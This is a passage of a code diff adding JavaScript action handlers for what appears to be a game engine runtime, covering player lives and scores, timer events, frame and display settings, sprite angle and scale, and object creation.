+ ACT_CCARESTARTFRAME.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ pHo.restartFrame();
+ }
+ }
+ // CUT
+
+ function ACT_CCARESUMEAPP()
+ {
+ }
+ ACT_CCARESUMEAPP.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ pHo.resume();
+ }
+ }
+ // CUT
+
+ function ACT_CCASETWIDTH()
+ {
+ }
+ ACT_CCASETWIDTH.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ var width = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.setWidth(width);
+ }
+ }
+ // CUT
+
+ function ACT_CCASETHEIGHT()
+ {
+ }
+ ACT_CCASETHEIGHT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ var height = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.setHeight(height);
+ }
+ }
+ // CUT
+
+ function ACT_CCASETGLOBALSTRING()
+ {
+ }
+ ACT_CCASETGLOBALSTRING.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var number = rhPtr.get_EventExpressionInt(this.evtParams[0]) - 1;
+ var s = rhPtr.get_EventExpressionString(this.evtParams[1]);
+
+ pHo.setGlobalString(number, s);
+ }
+ }
+ // CUT
+
+ function ACT_CCASETGLOBALVALUE()
+ {
+ }
+ ACT_CCASETGLOBALVALUE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var number = rhPtr.get_EventExpressionInt(this.evtParams[0]) - 1;
+ var value = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+
+ pHo.setGlobalValue(number, value);
+ }
+ }
+ // CUT
+
+ function ACT_CCASHOW()
+ {
+ }
+ ACT_CCASHOW.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ pHo.show();
+ }
+ }
+ // CUT
+
+
+ // Player object
+ // ------------------------------------------------------------------
+ function ACT_ADDLIVES()
+ {
+ }
+ ACT_ADDLIVES.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var value = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var joueur = this.evtOi;
+ value = rhPtr.rhApp.getLives()[joueur] + value;
+ rhPtr.actPla_FinishLives(joueur, value);
+ }
+ }
+ // CUT
+
+ function ACT_NOINPUT()
+ {
+ }
+ ACT_NOINPUT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rh2InputMask[this.evtOi] = 0;
+ }
+ }
+ // CUT
+
+ function ACT_RESTINPUT()
+ {
+ }
+ ACT_RESTINPUT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rh2InputMask[this.evtOi] = 0xFF;
+ }
+ }
+ // CUT
+
+ function ACT_SETINPUT()
+ {
+ }
+ ACT_SETINPUT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var input = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ if (input > CRunApp.CTRLTYPE_KEYBOARD)
+ return;
+ if (input == CRunApp.CTRLTYPE_MOUSE)
+ input = CRunApp.CTRLTYPE_KEYBOARD;
+ var joueur = this.evtOi;
+ if (joueur >= 4)
+ return;
+ rhPtr.rhApp.getCtrlType()[joueur] = input;
+
+ }
+ }
+ // CUT
+
+ function ACT_SETINPUTKEY()
+ {
+ }
+ ACT_SETINPUTKEY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var touche = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ if (touche >= 8)
+ return;
+ var joueur = this.evtOi;
+ if (joueur >= 4)
+ return;
+ var key = this.evtParams[1].key;
+ rhPtr.rhApp.pcCtrlKeys[joueur * CRunApp.MAX_KEY + touche] = key;
+ }
+ }
+ // CUT
+
+ function ACT_SETLIVES()
+ {
+ }
+ ACT_SETLIVES.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var value = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var joueur = this.evtOi;
+ rhPtr.actPla_FinishLives(joueur, value);
+ }
+ }
+ // CUT
+
+ function ACT_SETPLAYERNAME()
+ {
+ }
+ ACT_SETPLAYERNAME.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var joueur = this.evtOi;
+ if (joueur >= CRunApp.MAX_PLAYER)
+ return;
+ var pString = rhPtr.get_EventExpressionString(this.evtParams[0]);
+ rhPtr.rhApp.playerNames[joueur] = pString;
+ }
+ }
+ // CUT
+
+ function ACT_SETSCORE()
+ {
+ }
+ ACT_SETSCORE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var value = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var joueur = this.evtOi;
+ var scores = rhPtr.rhApp.getScores();
+ scores[joueur] = value;
+
+ rhPtr.update_PlayerObjects(joueur, COI.OBJ_SCORE, scores[joueur]);
+ }
+ }
+
+ function ACT_SUBLIVES()
+ {
+ }
+ ACT_SUBLIVES.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var value = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var joueur = this.evtOi;
+ value = rhPtr.rhApp.getLives()[joueur] - value;
+ rhPtr.actPla_FinishLives(joueur, value);
+ }
+ }
+ // CUT
+
+ function ACT_SUBSCORE()
+ {
+ }
+ ACT_SUBSCORE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var value = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var joueur = this.evtOi;
+ var scores = rhPtr.rhApp.getScores();
+ scores[joueur] -= value;
+ if (scores[joueur] < 0)
+ scores[joueur] = 0;
+ rhPtr.update_PlayerObjects(joueur, COI.OBJ_SCORE, scores[joueur]);
+ }
+ }
+ // CUT
+
+ function ACT_ADDSCORE()
+ {
+ }
+ ACT_ADDSCORE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var value = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var joueur = this.evtOi;
+ var scores = rhPtr.rhApp.getScores();
+ scores[joueur] += value;
+ rhPtr.update_PlayerObjects(joueur, COI.OBJ_SCORE, scores[joueur]);
+ }
+ }
+ // CUT
+
+
+ // Timer object
+ // -------------------------------------------------------------------
+ function ACT_EVENTAFTER()
+ {
+ }
+ ACT_EVENTAFTER.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var timer;
+ if (this.evtParams[0].code == 22)
+ timer = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ timer = this.evtParams[0].timer;
+ var pName = rhPtr.get_EventExpressionString(this.evtParams[1]);
+
+ var pLoop = rhPtr.rh4TimerEvents;
+ var pPrevious = null;
+ while (pLoop != null)
+ {
+ pPrevious = pLoop;
+ pLoop = pLoop.next;
+ }
+ var pEvent = new TimerEvents();
+ if (pPrevious == null)
+ rhPtr.rh4TimerEvents = pEvent;
+ else
+ pPrevious.next = pEvent;
+ pEvent.type = TimerEvents.TIMEREVENTTYPE_ONESHOT;
+ pEvent.timer = rhPtr.rhTimer + timer;
+ pEvent.name = pName;
+ pEvent.next = null;
+ }
+ }
+ // CUT
+
+ function ACT_NEVENTSAFTER()
+ {
+ }
+ ACT_NEVENTSAFTER.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var timer;
+ if (this.evtParams[0].code == 22)
+ timer = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ timer = this.evtParams[0].timer;
+ var loops = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ var timerNext;
+ if (this.evtParams[2].code == 22)
+ timerNext = rhPtr.get_EventExpressionInt(this.evtParams[2]);
+ else
+ timerNext = this.evtParams[2].timer;
+ var pName = rhPtr.get_EventExpressionString(this.evtParams[3]);
+
+ var pLoop = rhPtr.rh4TimerEvents;
+ var pPrevious = null;
+ while (pLoop != null)
+ {
+ pPrevious = pLoop;
+ pLoop = pLoop.next;
+ }
+ var pEvent = new TimerEvents();
+ if (pPrevious == null)
+ rhPtr.rh4TimerEvents = pEvent;
+ else
+ pPrevious.next = pEvent;
+ pEvent.type = TimerEvents.TIMEREVENTTYPE_REPEAT;
+ pEvent.timer = rhPtr.rhTimer + timer;
+ pEvent.timerNext = timerNext;
+ pEvent.timerPosition = 0;
+ pEvent.loops = loops;
+ pEvent.index = 0;
+ pEvent.next = null;
+ pEvent.name = pName;
+ }
+ }
+ // CUT
+
+ function ACT_SETTIMER()
+ {
+ }
+ ACT_SETTIMER.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var newTime;
+ if (this.evtParams[0].code == 22)
+ newTime = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ newTime = this.evtParams[0].timer;
+
+ var time = rhPtr.rhApp.timer;
+ rhPtr.rhTimer = newTime;
+ rhPtr.rhTimerOld = time - rhPtr.rhTimer;
+
+ rhPtr.rhEvtProg.restartTimerEvents();
+ }
+ }
+ // CUT
+
+ // Storyboard object
+ // -------------------------------------------------------------------
+ function ACT_CDISPLAY()
+ {
+ }
+ ACT_CDISPLAY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var position = this.evtParams[0];
+ var pInfo = new CPositionInfo();
+ position.read_Position(rhPtr, 0, pInfo);
+ rhPtr.setDisplay(pInfo.x, pInfo.y, pInfo.layer, 3);
+ }
+ }
+ // CUT
+
+ function ACT_CDISPLAYX()
+ {
+ }
+ ACT_CDISPLAYX.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var x = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ rhPtr.setDisplay(x, 0, -1, 1);
+ }
+ }
+ // CUT
+
+ function ACT_CDISPLAYY()
+ {
+ }
+ ACT_CDISPLAYY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var y = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ rhPtr.setDisplay(0, y, -1, 2);
+ }
+ }
+ // CUT
+
+ function ACT_SETFRAMEBDKCOLOR()
+ {
+ }
+ ACT_SETFRAMEBDKCOLOR.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var color;
+ if (this.evtParams[0].code == 24) // PARAM_COLOUR
+ color = this.evtParams[0].color;
+ else
+ {
+ color = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ color = CServices.swapRGB(color);
+ }
+ rhPtr.rhFrame.leBackground = color;
+ rhPtr.rhApp.frameColor = color;
+ }
+ }
+ // CUT
+
+ function ACT_CDISPLAYY()
+ {
+ }
+ ACT_CDISPLAYY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var y = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ rhPtr.setDisplay(0, y, -1, 2);
+ }
+ }
+ // CUT
+
+ function ACT_DELALLCREATEDBKD()
+ {
+ }
+ ACT_DELALLCREATEDBKD.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var layer = rhPtr.get_EventExpressionInt(this.evtParams[0]) - 1;
+ rhPtr.deleteAllBackdrop2(layer);
+ }
+ }
+ // CUT
+
+ function ACT_DELCREATEDBKDAT()
+ {
+ }
+ ACT_DELCREATEDBKDAT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var layer = rhPtr.get_EventExpressionInt(this.evtParams[0]) - 1;
+ var x = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ var y = rhPtr.get_EventExpressionInt(this.evtParams[2]);
+ var bFineDetection = rhPtr.get_EventExpressionInt(this.evtParams[3]) != 0;
+
+ rhPtr.deleteBackdropAt(layer, x, y, bFineDetection);
+ }
+ }
+ // CUT
+
+ function ACT_ENDGAME()
+ {
+ }
+ ACT_ENDGAME.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhApp.subAppStopped = true;
+
+ if(rhPtr.rhApp.isSubApp)
+ rhPtr.rhQuit=CRun.LOOPEXIT_ENDGAME;
+ }
+ }
+ // CUT
+
+ function ACT_GOLEVEL()
+ {
+ }
+ ACT_GOLEVEL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var level;
+ if (this.evtParams[0].code == 26)
+ {
+ level = this.evtParams[0].value;
+ if (rhPtr.rhApp.HCellToNCell(level) == -1)
+ return;
+ }
+ else
+ {
+ level = rhPtr.get_EventExpressionInt(this.evtParams[0]) - 1;
+ if (level < 0 || level >= 4096)
+ return;
+ if (rhPtr.rhApp.bShiftFrameNumber)
+ level++;
+ level |= 0x8000;
+ }
+ rhPtr.rhQuit = CRun.LOOPEXIT_GOTOLEVEL;
+ rhPtr.rhQuitParam = level;
+ rhPtr.rhApp.subAppStopped = true;
+ }
+ }
+ // CUT
+
+ function ACT_NEXTLEVEL()
+ {
+ }
+ ACT_NEXTLEVEL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhQuit = CRun.LOOPEXIT_NEXTLEVEL;
+ rhPtr.rhApp.subAppStopped = true;
+ }
+ }
+ // CUT
+
+ function ACT_PAUSEKEY()
+ {
+ }
+ ACT_PAUSEKEY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rh4PauseKey = this.evtParams[0].key;
+ rhPtr.rhQuit = CRun.LOOPEXIT_PAUSEGAME;
+ }
+ }
+ // CUT
+
+ function ACT_SETFRAMERATE()
+ {
+ }
+ ACT_SETFRAMERATE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var rate = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ rhPtr.rhApp.gaFrameRate = rate;
+ }
+ }
+
+ function ACT_SETVSYNCON()
+ {
+ }
+ ACT_SETVSYNCON.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhApp.gaNewFlags |= CRunApp.GANF_VSYNC;
+ }
+ }
+ // CUT
+
+ function ACT_SETVSYNCOFF()
+ {
+ }
+ ACT_SETVSYNCOFF.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhApp.gaNewFlags &= ~CRunApp.GANF_VSYNC;
+ }
+ }
+ // CUT
+
+ function ACT_FULLSCREENMODE()
+ {
+ }
+ ACT_FULLSCREENMODE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhApp.enterFullScreen();
+ }
+ }
+ // CUT
+
+ function ACT_WINDOWEDMODE()
+ {
+ }
+ ACT_WINDOWEDMODE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhApp.exitFullScreen();
+ }
+ }
+ // CUT
+
+ function ACT_PAUSEANYKEY()
+ {
+ }
+ ACT_PAUSEANYKEY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rh4PauseKey = -1;
+ rhPtr.rhQuit = CRun.LOOPEXIT_PAUSEGAME;
+ }
+ }
+ // CUT
+
+ function ACT_PLAYDEMO()
+ {
+ }
+ ACT_PLAYDEMO.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ // TODO
+ /* var pFilename:String;
+ if ( evtParams[0].code==63 ) // PARAM_FILENAME2
+ pFilename=(PARAM_STRING(evtParams[0])).string;
+ else
+ pFilename=rhPtr.get_EventExpressionString(evtParams[0]);
+
+ if (rhPtr.rh4Demo==null)
+ {
+ rhPtr.rh4Demo=new CDemoRecord(rhPtr, pFilename);
+ rhPtr.rh4Demo.startPlaying();
+ }
+ */
+ }
+ }
+ // CUT
+
+ function ACT_PREVLEVEL()
+ {
+ }
+ ACT_PREVLEVEL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhApp.subAppStopped = true;
+ rhPtr.rhQuit = CRun.LOOPEXIT_PREVLEVEL;
+ }
+ }
+ // CUT
+
+ function ACT_SETFRAMEHEIGHT()
+ {
+ }
+ ACT_SETFRAMEHEIGHT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var newHeight = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+
+ var nOldHeight = rhPtr.rhFrame.leHeight;
+ rhPtr.rhFrame.leHeight = newHeight;
+
+ if (nOldHeight == rhPtr.rhFrame.leVirtualRect.bottom)
+ rhPtr.rhFrame.leVirtualRect.bottom = rhPtr.rhLevelSy = newHeight;
+
+ var n;
+ for (n = 0; n < rhPtr.rhFrame.nLayers; n++)
+ rhPtr.rhFrame.layers[n].resetLevelBackground();
+ rhPtr.drawLevel();
+ }
+ }
+ // CUT
+
+ function ACT_SETFRAMEWIDTH()
+ {
+ }
+ ACT_SETFRAMEWIDTH.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var newWidth = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+
+ var nOldWidth = rhPtr.rhFrame.leWidth;
+ rhPtr.rhFrame.leWidth = newWidth;
+
+ if (nOldWidth == rhPtr.rhFrame.leVirtualRect.right)
+ rhPtr.rhFrame.leVirtualRect.right = rhPtr.rhLevelSx = newWidth;
+
+ var n;
+ for (n = 0; n < rhPtr.rhFrame.nLayers; n++)
+ rhPtr.rhFrame.layers[n].resetLevelBackground();
+ rhPtr.drawLevel();
+ }
+ }
+ // CUT
+
+ function ACT_SETVIRTUALHEIGHT()
+ {
+ }
+ ACT_SETVIRTUALHEIGHT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var newHeight = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+
+ if (newHeight < rhPtr.rhFrame.leHeight)
+ newHeight = rhPtr.rhFrame.leHeight;
+ if (newHeight > 0x7FFFF000)
+ newHeight = 0x7FFFF000;
+
+ if (rhPtr.rhFrame.leVirtualRect.bottom != newHeight)
+ rhPtr.rhFrame.leVirtualRect.bottom = rhPtr.rhLevelSy = newHeight;
+ }
+ }
+ // CUT
+
+ function ACT_SETVIRTUALWIDTH()
+ {
+ }
+ ACT_SETVIRTUALWIDTH.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var newWidth = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+
+ if (newWidth < rhPtr.rhFrame.leWidth)
+ newWidth = rhPtr.rhFrame.leWidth;
+ if (newWidth > 0x7FFFF000)
+ newWidth = 0x7FFFF000;
+
+ if (rhPtr.rhFrame.leVirtualRect.right != newWidth)
+ rhPtr.rhFrame.leVirtualRect.right = rhPtr.rhLevelSx = newWidth;
+ }
+ }
+ // CUT
+
+ // Active object
+ // ---------------------------------------------------------------------
+ function ACT_SPRFRONT()
+ {
+ }
+ ACT_SPRFRONT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ var index = pHo.getChildMaxIndex();
+ pHo.setChildIndex(index - 1);
+ }
+ }
+ // CUT
+
+ function ACT_SPRPASTE()
+ {
+ }
+ ACT_SPRPASTE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.roa != null)
+ pHo.roa.animIn(0);
+ rhPtr.activeToBackdrop(pHo, this.evtParams[0].value);
+ }
+ }
+ // CUT
+
+ function ACT_SPRSETANGLE()
+ {
+ }
+ ACT_SPRSETANGLE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var nAngle = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ nAngle %= 360;
+ if (nAngle < 0)
+ nAngle += 360;
+
+ // If physical movement
+ var pMBase = rhPtr.GetMBase(pHo);
+ if (pMBase)
+ {
+ pMBase.setAngle(nAngle);
+ return;
+ }
+
+ var bAntiA = false;
+ if (rhPtr.get_EventExpressionInt(this.evtParams[1]) != 0)
+ bAntiA = true;
+
+ var bOldAntiA = false;
+ if ((pHo.ros.rsFlags & CRSpr.RSFLAG_ROTATE_ANTIA) != 0)
+ bOldAntiA = true;
+ if (pHo.roc.rcAngle != nAngle || bOldAntiA != bAntiA)
+ {
+ pHo.roc.rcAngle = nAngle;
+ pHo.ros.rsFlags &= ~CRSpr.RSFLAG_ROTATE_ANTIA;
+ if (bAntiA)
+ pHo.ros.rsFlags |= CRSpr.RSFLAG_ROTATE_ANTIA;
+ pHo.roc.rcChanged = true;
+
+ var ifo = pHo.hoAdRunHeader.rhApp.imageBank.getImageInfoEx(pHo.roc.rcImage, pHo.roc.rcAngle, pHo.roc.rcScaleX, pHo.roc.rcScaleY);
+ pHo.hoImgWidth = ifo.width;
+ pHo.hoImgHeight = ifo.height;
+ pHo.hoImgXSpot = ifo.xSpot;
+ pHo.hoImgYSpot = ifo.ySpot;
+ }
+ }
+ }
+ // CUT
+
+ function ACT_SPRREPLACECOLOR()
+ {
+ this.replace = null;
+ }
+ ACT_SPRREPLACECOLOR.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ pHo.roa.animIn(0);
+
+ var oldColor;
+ if (this.evtParams[0].code == 24)
+ oldColor = this.evtParams[0].color;
+ else
+ {
+ oldColor = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ oldColor = CServices.swapRGB(oldColor);
+ }
+
+ var newColor;
+ if (this.evtParams[1].code == 24) // PARAM_COLOUR)
+ newColor = this.evtParams[1].color;
+ else
+ {
+ newColor = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ newColor = CServices.swapRGB(newColor);
+ }
+ if (oldColor != newColor)
+ {
+ if (this.replace == null)
+ this.replace = new CReplaceColor();
+ this.replace.replaceColor(rhPtr, pHo, newColor, oldColor);
+ }
+ }
+ }
+ // CUT
+
+
+ function ACT_SPRSETSCALE()
+ {
+ }
+ ACT_SPRSETSCALE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var fScale = rhPtr.get_EventExpressionDouble(this.evtParams[0]);
+ if (fScale < 0)
+ fScale = 0;
+
+ var bResample = false;
+ if (rhPtr.get_EventExpressionInt(this.evtParams[1]) != 0)
+ bResample = true;
+
+ pHo.ros.rsFlags &= ~CRSpr.RSFLAG_ROTATE_ANTIA;
+ if (bResample)
+ pHo.ros.rsFlags |= CRSpr.RSFLAG_ROTATE_ANTIA;
+ pHo.setScale(fScale, fScale);
+ }
+ }
+ // CUT
+
+ function ACT_SPRSETSCALEX()
+ {
+ }
+ ACT_SPRSETSCALEX.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var fScale = rhPtr.get_EventExpressionDouble(this.evtParams[0]);
+ if (fScale < 0)
+ fScale = 0;
+
+ var bResample = false;
+ if (rhPtr.get_EventExpressionInt(this.evtParams[1]) != 0)
+ bResample = true;
+ pHo.ros.rsFlags &= ~CRSpr.RSFLAG_ROTATE_ANTIA;
+ if (bResample)
+ pHo.ros.rsFlags |= CRSpr.RSFLAG_ROTATE_ANTIA;
+
+ pHo.setScale(fScale, pHo.roc.rcScaleY);
+ }
+ }
+ // CUT
+
+ function ACT_SPRSETSCALEY()
+ {
+ }
+ ACT_SPRSETSCALEY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var fScale = rhPtr.get_EventExpressionDouble(this.evtParams[0]);
+ if (fScale < 0)
+ fScale = 0;
+
+ var bResample = false;
+ if (rhPtr.get_EventExpressionInt(this.evtParams[1]) != 0)
+ bResample = true;
+ pHo.ros.rsFlags &= ~CRSpr.RSFLAG_ROTATE_ANTIA;
+ if (bResample)
+ pHo.ros.rsFlags |= CRSpr.RSFLAG_ROTATE_ANTIA;
+
+ pHo.setScale(pHo.roc.rcScaleX, fScale);
+ }
+ }
+ // CUT
+
+ function ACT_SPRADDBKD()
+ {
+ }
+ ACT_SPRADDBKD.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ // Un cran d'animation sans effet
+ if (pHo.roa != null)
+ pHo.roa.animIn(0);
+
+ rhPtr.activeToBackdrop(pHo, this.evtParams[0].value);
+ }
+ }
+ // CUT
+
+ // Question object
+ // ---------------------------------------------------------------------
+ function ACT_QASK()
+ {
+ }
+ ACT_QASK.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ if ((this.evtOiList & 0x8000) == 0)
+ {
+ this.qstCreate(rhPtr, this.evtOi);
+ return;
+ }
+
+ if ((this.evtOiList & 0x7FFF) != 0x7FFF)
+ {
+ var qoil = rhPtr.rhEvtProg.qualToOiList[this.evtOiList & 0x7FFF];
+ var qoi;
+ for (qoi = 0; qoi < qoil.qoiList.length; qoi += 2)
+ this.qstCreate(rhPtr, qoil.qoiList[qoi]);
+ }
+ },
+ qstCreate: function (rhPtr, oi)
+ {
+ var c = this.evtParams[0];
+ var info = new CPositionInfo();
+
+ if (c.read_Position(rhPtr, 0x10, info))
+ {
+ rhPtr.f_CreateObject(c.cdpHFII, oi, info.x, info.y, info.dir, 0, rhPtr.rhFrame.nLayers - 1, -1);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_RESTARTGAME()
+ {
+ }
+ ACT_RESTARTGAME.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhQuit = CRun.LOOPEXIT_NEWGAME;
+ }
+ }
+ // CUT
+
+ function ACT_RESTARTLEVEL()
+ {
+ }
+ ACT_RESTARTLEVEL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhQuit = CRun.LOOPEXIT_RESTART;
+ }
+ }
+ // CUT
+
+
+ // Create object
+ // ---------------------------------------------------------------------
+ function ACT_CREATE()
+ {
+ }
+ ACT_CREATE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pEvp = this.evtParams[0];
+ var pInfo = new CPositionInfo();
+ if (pEvp.read_Position(rhPtr, 0x11, pInfo))
+ {
+ if (pInfo.bRepeat)
+ {
+ this.evtFlags |= CAct.ACTFLAGS_REPEAT;
+ rhPtr.rhEvtProg.rh2ActionLoop = true;
+ }
+ else
+ {
+ this.evtFlags &= ~CAct.ACTFLAGS_REPEAT;
+ }
+ var number = rhPtr.f_CreateObject(pEvp.cdpHFII, pEvp.cdpOi, pInfo.x, pInfo.y, pInfo.dir, 0, pInfo.layer, -1);
+ if (number >= 0)
+ {
+ var pHo = rhPtr.rhObjectList[number];
+ rhPtr.rhEvtProg.evt_AddCurrentObject(pHo);
+
+ // Build 283.2: add physics attractor
+ if (pHo && pHo.hoType >= 32)
+ rhPtr.addPhysicsAttractor(pHo);
+
+ var mBase = rhPtr.GetMBase(pHo);
+ if (mBase)
+ mBase.CreateBody();
+ else
+ {
+ if (rhPtr.rhBox2DBase != null)
+ {
+ rhPtr.rh4Box2DBase.rAddNormalObject(pHo);
+ }
+ }
+ }
+ }
+ }
+ }
+ // CUT
+
+ function ACT_CREATEBYNAME()
+ {
+ }
+ ACT_CREATEBYNAME.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pName = rhPtr.get_EventExpressionString(this.evtParams[0]);
+ var pInfo = new CPositionInfo();
+ if (this.evtParams[1].read_Position(rhPtr, 0x11, pInfo))
+ {
+ if (pInfo.bRepeat)
+ {
+ this.evtFlags |= CAct.ACTFLAGS_REPEAT;
+ rhPtr.rhEvtProg.rh2ActionLoop = true;
+ }
+ else
+ this.evtFlags &= ~CAct.ACTFLAGS_REPEAT;
+
+ var oiPtr;
+ for (oiPtr = rhPtr.rhApp.OIList.getFirstOI(); oiPtr != null; oiPtr = rhPtr.rhApp.OIList.getNextOI())
+ {
+ if (oiPtr.oiType >= 2)
+ {
+ if (CServices.compareStringsIgnoreCase(oiPtr.oiName, pName))
+ break;
+ }
+ }
+
+ if (oiPtr != null) {
+ var number = rhPtr.f_CreateObject(-1, oiPtr.oiHandle, pInfo.x, pInfo.y, pInfo.dir, 0, pInfo.layer, -1);
+ if (number >= 0) {
+ var pHo = rhPtr.rhObjectList[number];
+ rhPtr.rhEvtProg.evt_AddCurrentObject(pHo);
+
+ // Build 283.2: add physics attractor
+ if (pHo && pHo.hoType >= 32)
+ rhPtr.addPhysicsAttractor(pHo);
+
+ var mBase = rhPtr.GetMBase(pHo);
+ if (mBase)
+ mBase.CreateBody();
+ else {
+ if (rhPtr.rhBox2DBase != null) {
+ rhPtr.rh4Box2DBase.rAddNormalObject(pHo);
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ // CUT
+
+ // Common object actions
+ // -----------------------------------------------------------------
+ function ACT_EXTFOREACH()
+ {
+ }
+ ACT_EXTFOREACH.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ var pName = rhPtr.get_EventExpressionString(this.evtParams[0]);
+ rhPtr.rhEvtProg.addForEach(pName, pHo, this.evtOiList);
+ rhPtr.rhEvtProg.callEndForEach = true;
+ }
+ }
+ // CUT
+
+ function ACT_EXTFOREACH2()
+ {
+ }
+ ACT_EXTFOREACH2.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ var pName = rhPtr.get_EventExpressionString(this.evtParams[1]);
+ rhPtr.rhEvtProg.addForEach(pName, pHo, this.evtOiList);
+
